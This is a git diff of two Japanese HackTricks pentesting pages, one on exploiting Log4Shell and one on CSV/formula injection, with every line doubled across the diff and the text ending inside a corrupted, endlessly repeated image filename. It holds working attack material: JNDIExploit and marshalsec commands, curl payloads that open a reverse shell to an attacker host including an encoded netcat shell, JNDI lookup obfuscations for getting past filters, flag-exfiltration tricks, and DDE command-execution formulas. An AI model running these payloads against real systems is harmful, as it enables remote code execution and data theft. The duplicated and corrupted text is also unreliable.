これはつまり、**上記のバージョンを悪用するには、Javaアプリケーション上に存在するいくつかの信頼されたガジェットを悪用する必要があます例えば、ysoserialやJNDIExploitを使用する**。ただし、より低いバージョンを悪用するには、任意のクラスをロードして実行させることができます(これにより攻撃が容易になります) これは、**上記のバージョンを悪用するためには、Javaアプリケーション上に存在する信頼されたガジェットを悪用する必要がある**ことを意味します例えば、ysoserialやJNDIExploitを使用。ただし、より低いバージョンを悪用するには、任意のクラスを読み込んで実行させることができるため、攻撃が容易になります
**詳細な情報**RMIおよびCORBAベクトルの制限などについては、**前のJNDI Naming Referenceセクション**または[https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)を参照してください。 **詳細な情報**RMIおよびCORBAベクトルの制限などについては、**前のJNDI Naming Referenceセクション**または[https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)を参照してください。
{% endhint %} {% endhint %}
### RCE - カスタムペイロードを使用したMarshalsec ### RCE - カスタムペイロードを使用したMarshalsec
_このトリックは、**THMボックス**から完全に引用されています:_ [_**https://tryhackme.com/room/solar**_](https://tryhackme.com/room/solar)\_\_ _このトリックは完全に**THMボックス**から取得されました:_ [_**https://tryhackme.com/room/solar**_](https://tryhackme.com/room/solar)\_\_
この攻撃では、ツール[**marshalsec**](https://github.com/mbechler/marshalsec)[**ここからjarバージョンをダウンロード**](https://github.com/RandomRobbieBF/marshalsec-jar)を使用して、LDAPリファラルサーバーを作成し、接続をセカンダリHTTPサーバーにリダイレクトし、そこで攻撃が提供されます。 この攻撃では、ツール[**marshalsec**](https://github.com/mbechler/marshalsec)[**ここからjarバージョンをダウンロード**](https://github.com/RandomRobbieBF/marshalsec-jar)を使用して、LDAPリファラルサーバーを作成し、接続をセカンダリHTTPサーバーにリダイレクトし、そこで攻撃が提供されます。
```bash ```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit" java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
``` ```
@ -238,9 +255,9 @@ e.printStackTrace();
``` ```
{% endcode %} {% endcode %}
**クラスファイル**を作成するには、`javac Exploit.java -source 8 -target 8`を実行し、その後、クラスファイルが作成された同じディレクトリで**HTTPサーバー**を実行します:`python3 -m http.server`。\ **クラスファイル**を作成するには、`javac Exploit.java -source 8 -target 8`を実行し、その後、クラスファイルが作成されたディレクトリで**HTTPサーバー**を実行します:`python3 -m http.server`。\
**marshalsecのLDAPサーバーは、このHTTPサーバーを指すように設定する必要があります**。\ **marshalsecのLDAPサーバーは、このHTTPサーバーを指すように設定する必要があります**。\
その後、脆弱なWebサーバーに対して以下のようなペイロードを送信することで、**エクスプロイトクラスを実行**させることができます: その後、以下のようなペイロードを送信することで、**脆弱なWebサーバーにエクスプロイトクラスを実行させる**ことができます:
```bash ```bash
${jndi:ldap://<LDAP_IP>:1389/Exploit} ${jndi:ldap://<LDAP_IP>:1389/Exploit}
``` ```
@ -250,16 +267,16 @@ ${jndi:ldap://<LDAP_IP>:1389/Exploit}
JavaがLDAPを使用してリモートコードベースをロードするように設定されていない場合、このカスタムエクスプロイトは機能しません。その場合、信頼されたクラスを悪用して任意のコードを実行する必要があります。 JavaがLDAPを使用してリモートコードベースをロードするように設定されていない場合、このカスタムエクスプロイトは機能しません。その場合、信頼されたクラスを悪用して任意のコードを実行する必要があります。
{% endhint %} {% endhint %}
この例では、ポート8080でこの**log4shellの脆弱なウェブサーバー**を実行するだけでよいです: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_READMEに実行方法が記載されています_。この脆弱なアプリは、HTTPリクエストヘッダーの内容である_X-Api-Version_を脆弱なバージョンのlog4shellでログに記録しています。 この例では、ポート8080でこの**脆弱なWebサーバーlog4shell**を実行できます:[https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app)_READMEに実行方法が記載されています_。この脆弱なアプリは、HTTPリクエストヘッダーのコンテンツ_X-Api-Version_を脆弱なバージョンのlog4shellでログに記録しています。
次に、**JNDIExploit**のjarファイルをダウンロードし、次のコマンドで実行します: 次に、**JNDIExploit**のjarファイルをダウンロードし、次のコマンドで実行します
```bash ```bash
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
``` ```
コードを数分読んだ後、_com.feihong.ldap.LdapServer_と_com.feihong.ldap.HTTPServer_では、**LDAPサーバーとHTTPサーバーが作成される**方法がわかります。LDAPサーバーはどのペイロードを提供する必要があるかを理解し、被害者をHTTPサーバーにリダイレクトし、そこでエクスプロイトを提供します。\ コードを数分読んだ後、_com.feihong.ldap.LdapServer_と_com.feihong.ldap.HTTPServer_では、**LDAPサーバーとHTTPサーバーが作成される**方法がわかります。LDAPサーバーはどのペイロードを提供する必要があるかを理解し、被害者をHTTPサーバーにリダイレクトし、そこでエクスプロイトを提供します。\
_com.feihong.ldap.gadgets_では、望ましいアクション任意のコードを実行する可能性があるを実行するために使用できる**特定のガジェット**が見つかります。そして、_com.feihong.ldap.template_では、エクスプロイトを**生成するための異なるテンプレートクラス**が表示されます。 _com.feihong.ldap.gadgets_では、望ましいアクション任意のコードを実行する可能性があるを実行するために使用できる**特定のガジェット**が見つかります。そして、_com.feihong.ldap.template_では、エクスプロイトを**生成するための異なるテンプレートクラス**が見られます。
**`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**で利用可能なすべてのエクスプロイトを確認できます。いくつかの便利なものは次のとおりです: **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**で利用可能なすべてのエクスプロイトを確認できます。いくつかの便利なものは次のとおりです:
```bash ```bash
@ -277,13 +294,13 @@ curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Comma
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}' curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}' curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
``` ```
攻撃を送信する際には、**JNDIExploit-1.2-SNAPSHOT.jar**を実行したターミナルでいくつかの出力が表示されます。 攻撃を送信すると、**JNDIExploit-1.2-SNAPSHOT.jar**を実行したターミナルにいくつかの出力が表示されます。
他の攻撃オプションを確認するに、`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`をチェックしてください。また、LDAPとHTTPサーバーのポートを変更することもできます。 他の攻撃オプションを確認するために、`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`をチェックすることを忘れないでください。また、LDAPとHTTPサーバーのポートを変更することもできます。
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a> ### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
前の攻撃と同様に、この脆弱性を悪用するために[**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit)を使用することできます。\ 前の攻撃と同様に、この脆弱性を悪用するために[**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit)を使用することできます。\
被害者に送信するためのURLを生成するには、次のコマンドを実行します 被害者に送信するためのURLを生成するには、次のコマンドを実行します
```bash ```bash
# Get reverse shell in port 4444 (only unix) # Get reverse shell in port 4444 (only unix)
@ -292,7 +309,7 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
# Execute command # Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell" java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
``` ```
_このカスタム生成されたJavaオブジェクトを使用した攻撃は、**THMソーラールーム**のようなラボで動作します。ただし、これは一般的には機能しませんデフォルトではJavaはLDAPを使用してリモートコードベースをロードするように設定されていないためだと思われます。これは、信頼されたクラスを悪用して任意のコードを実行するものではないためです。_ _このカスタム生成されたJavaオブジェクトを使用した攻撃は、**THMソーラールーム**のようなラボで動作します。ただし、一般的には動作しませんデフォルトではJavaはLDAPを使用してリモートコードベースをロードするように設定されていないためだと思われます。これは、信頼されたクラスを悪用して任意のコードを実行するものではないためです。_
### RCE - ysoserial & JNDI-Exploit-Kit ### RCE - ysoserial & JNDI-Exploit-Kit
@ -309,7 +326,7 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tm
``` ```
![](<../../.gitbook/assets/image (642) (1) (1).png>) ![](<../../.gitbook/assets/image (642) (1) (1).png>)
これで、生成されたJNDIリンクを使用して脆弱性を悪用し、**`${ldap://10.10.14.10:1389/generated}`**を脆弱なバージョンのlog4jに送信するだけで、**逆シェル**を簡単に取得できます 、生成されたJNDIリンクを使用して脆弱性を悪用し、**`${ldap://10.10.14.10:1389/generated}`**という形で脆弱なバージョンのlog4jに**逆シェル**を取得することが容易になりました
### バイパス方法 ### バイパス方法
```java ```java
@ -343,7 +360,7 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
## Log4Shellの脆弱性を悪用した後 ## Log4Shellの脆弱性を悪用した後
この[**CTFの解説記事**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)では、**Log4J**の一部の機能を**悪用**することが**可能**であることが詳しく説明されています。 この[**CTFの解説記事**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)では、**Log4J**の一部の機能を**悪用**することが**可能**である方法が詳しく説明されています。
Log4jの[**セキュリティページ**](https://logging.apache.org/log4j/2.x/security.html)には興味深い文がいくつかあります: Log4jの[**セキュリティページ**](https://logging.apache.org/log4j/2.x/security.html)には興味深い文がいくつかあります:
@ -353,7 +370,7 @@ Log4jの[**セキュリティページ**](https://logging.apache.org/log4j/2.x/s
これは、デフォルトでは**`jndi`の脆弱性を使用することはできない**ことを意味します。さらに、**再帰的なルックアップ**を実行するには、それらを設定する必要があります。 これは、デフォルトでは**`jndi`の脆弱性を使用することはできない**ことを意味します。さらに、**再帰的なルックアップ**を実行するには、それらを設定する必要があります。
例えば、このCTFでは、次のようにlog4j2.xmlファイルで設定されていました: 例えば、このCTFでは、次のようにファイルlog4j2.xmlで設定されていました
```xml ```xml
<Console name="Console" target="SYSTEM_ERR"> <Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n"> <PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
@ -366,13 +383,13 @@ Log4jの[**セキュリティページ**](https://logging.apache.org/log4j/2.x/s
### Exfiltration in Exceptions ### Exfiltration in Exceptions
CTFでは、log4Jを使用してJavaアプリケーションのstderrにアクセスすることはできませんでしたが、Log4Jの例外はstdoutに送信され、Pythonアプリケーションで表示されました。これは、例外をトリガーすることでコンテンツにアクセスできることを意味します。フラグを外部に持ち出すための例外は次のとおりです**`${java:${env:FLAG}}`**。これは、**`${java:CTF{blahblah}}`**が存在せず、フラグの値が表示される例外が表示されるため機能します CTFでは、log4Jを使用してJavaアプリケーションのstderrにアクセスすることはできませんでしたが、Log4Jの例外はstdoutに送信され、Pythonアプリケーションで表示されました。これは、例外をトリガーすることでコンテンツにアクセスできることを意味します。フラグを外部に持ち出すための例外は次のとおりです`${java:${env:FLAG}}`。これは、`${java:CTF{blahblah}}`が存在せず、フラグの値が表示される例外が表示されるため機能します
![](<../../.gitbook/assets/image (157).png>) ![](<../../.gitbook/assets/image (157).png>)
### Conversion Patterns Exceptions ### Conversion Patterns Exceptions
言及するだけですが、新しい[**変換パターン**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout)を注入し、`stdout`にログ出力される例外をトリガーすることもできます。例えば: 言及するだけですが、新しい[**変換パターン**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout)を注入し、`stdout`にログを記録する例外をトリガーすることもできます。例えば:
![](<../../.gitbook/assets/image (3) (2) (1) (1).png>) ![](<../../.gitbook/assets/image (3) (2) (1) (1).png>)
@ -380,7 +397,7 @@ CTFでは、log4Jを使用してJavaアプリケーションのstderrにアク
### Conversion Patterns Regexes ### Conversion Patterns Regexes
ただし、正規表現をサポートするいくつかの変換パターンを使用して、正規表現を使用してルックアップから情報を外部に持ち出すことが可能です。これは、**バイナリサーチ**または**時間ベース**の動作を濫用することができます。 ただし、正規表現をサポートするいくつかの変換パターンを使用して、正規表現を使用してルックアップから情報を外部に持ち出すことができます。これは、**バイナリサーチ**または**時間ベース**の動作を濫用することができます。
* **例外メッセージを使用したバイナリサーチ** * **例外メッセージを使用したバイナリサーチ**
@ -393,10 +410,10 @@ CTFでは、log4Jを使用してJavaアプリケーションのstderrにアク
``` ```
* **タイムベース** * **タイムベース**
前のセクションで述べたように、**`%replace`**は**正規表現**をサポートしています。したがって、[**ReDoSページ**](../regular-expression-denial-of-service-redos.md)からのペイロードを使用して、フラグが見つかった場合に**タイムアウト**を引き起こすことが可能です。\ 前のセクションで述べたように、**`%replace`**は**正規表現**をサポートしています。したがって、[**ReDoSページ**](../regular-expression-denial-of-service-redos.md)のペイロードを使用して、フラグが見つかった場合に**タイムアウト**を引き起こすことが可能です。\
たとえば、`%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}`のようなペイロードは、そのCTFで**タイムアウト**を引き起こします。 たとえば、`%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}`のようなペイロードは、そのCTFで**タイムアウト**を引き起こします。
この[**解説記事**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)では、ReDoS攻撃ではなく、**増幅攻撃**を使用して応答の時間差を引き起こしました この[**解説記事**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)では、ReDoS攻撃ではなく、**増幅攻撃**を使用して応答の時間差を引き起こしました
> ``` > ```
> /%replace{ > /%replace{
@ -418,7 +435,7 @@ CTFでは、log4Jを使用してJavaアプリケーションのstderrにアク
> >
> フラグが`flagGuess`で始まる場合、フラグ全体が29個の`#`で置き換えられます(この文字を使用したのは、おそらくフラグの一部ではないためです)。**その29個の`#`のそれぞれが54個の`#`で置き換えられます**。このプロセスは**6回繰り返され、合計で` 29*54*54^6* =`` `` `**`96816014208` `#`**が生成されます!** > フラグが`flagGuess`で始まる場合、フラグ全体が29個の`#`で置き換えられます(この文字を使用したのは、おそらくフラグの一部ではないためです)。**その29個の`#`のそれぞれが54個の`#`で置き換えられます**。このプロセスは**6回繰り返され、合計で` 29*54*54^6* =`` `` `**`96816014208` `#`**が生成されます!**
> >
> これだけの数の`#`を置き換えると、Flaskアプリケーションの10秒タイムアウトが発生し、ユーザーにHTTPステータスコード500が送信されますフラグが`flagGuess`で始まらない場合、非500のステータスコードが受信されます > これほど多くの`#`を置き換えると、Flaskアプリケーションの10秒タイムアウトが発生し、ユーザーにHTTPステータスコード500が送信されますフラグが`flagGuess`で始まらない場合、非500のステータスコードが受信されます
## 参考文献 ## 参考文献
@ -431,14 +448,21 @@ CTFでは、log4Jを使用してJavaアプリケーションのstderrにアク
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) * [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) * [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて修正するために。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの会社を宣伝したいですかまたは、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したり、HackTricksをPDFでダウンロードしたりしたいですか[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクション * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう * [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** * **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
</details> </details>

View file

@ -4,22 +4,30 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** * **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて修正できるようにしましょう。Intruderは、攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## フォーミュラインジェクション ## フォーミュラインジェクション
### 情報 ### 情報
もし、**入力**が**CSVファイル**またはExcelで開かれる可能性のある他のファイルに**反映**されている場合、Excelの**フォーミュラ**を入れることができます。これは、ユーザーがファイルを**開いたり**、Excelシート内の**リンクをクリックしたり**したときに**実行**される可能性があります。 もし、**入力**が**CSVファイル**またはExcelで開かれる可能性のある他のファイルに**反映**されている場合、Excelシート内でユーザーが**ファイルを開く**か、Excelシート内の**リンクをクリック**すると、Excel **フォーミュラ**を実行することができるかもしれません
{% hint style="danger" %} {% hint style="danger" %}
現在、**Excelは外部からの読み込みを警告**します(何度も)ユーザーが悪意のある行動を防ぐために。そのため、最終的なペイロードにはソーシャルエンジニアリングに特別な注意が必要です。 現在、**Excelは外部からの読み込み時にユーザーに警告**を表示します(何度も)。これは、悪意のある行動を防ぐためです。そのため、最終的なペイロードにはソーシャルエンジニアリングに特別な注意が必要です。
{% endhint %} {% endhint %}
### [ワードリスト](https://github.com/payloadbox/csv-injection-payloads) ### [ワードリスト](https://github.com/payloadbox/csv-injection-payloads)
@ -33,11 +41,11 @@ DDE ("cmd";"/C calc";"!A0")A0
``` ```
### ハイパーリンク ### ハイパーリンク
**次の例は、最終的なExcelシートからコンテンツを外部に流出させ、任意の場所にリクエストを実行するために非常に便利です。ただし、リンクをクリックする(および警告プロンプトを受け入れる必要があります。** **次の例は、最終的なExcelシートからコンテンツを外部に持ち出し、任意の場所にリクエストを実行するのに非常に便利です。ただし、リンクをクリックする必要があります(および警告プロンプトを受け入れる必要があります。**
例は[https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)から取得されました。 例は[https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)から取得されました。
学校の学生記録管理システムの攻撃シナリオを想定しましょう。このアプリケーションでは、教師が学校の生徒の詳細を入力することができます。攻撃者はアプリケーションにアクセスし、アプリケーションを使用しているすべての教師が侵害されることを望んでいます。そのため、攻撃者はWebアプリケーションを介してCSVインジェクション攻撃を試みます。\ 学校の学生記録管理システムの攻撃シナリオを想定しましょう。このアプリケーションでは、教師が学校の生徒の詳細を入力することができます。攻撃者はアプリケーションにアクセスし、アプリケーションを使用しているすべての教師を侵害したいと考えています。そのため、攻撃者はWebアプリケーションを介してCSVインジェクション攻撃を試みます。\
攻撃者は他の学生の詳細を盗む必要があります。そのため、攻撃者は学生の詳細を入力する際にハイパーリンクの式を使用します。 攻撃者は他の学生の詳細を盗む必要があります。そのため、攻撃者は学生の詳細を入力する際にハイパーリンクの式を使用します。
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_008.png) ![](https://payatu.com/wp-content/uploads/2017/11/Selection\_008.png)
@ -64,7 +72,7 @@ DDE ("cmd";"/C calc";"!A0")A0
次のペイロードで電卓を実行することが可能です **`=cmd|' /C calc'!xxx`** 次のペイロードで電卓を実行することが可能です **`=cmd|' /C calc'!xxx`**
![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) 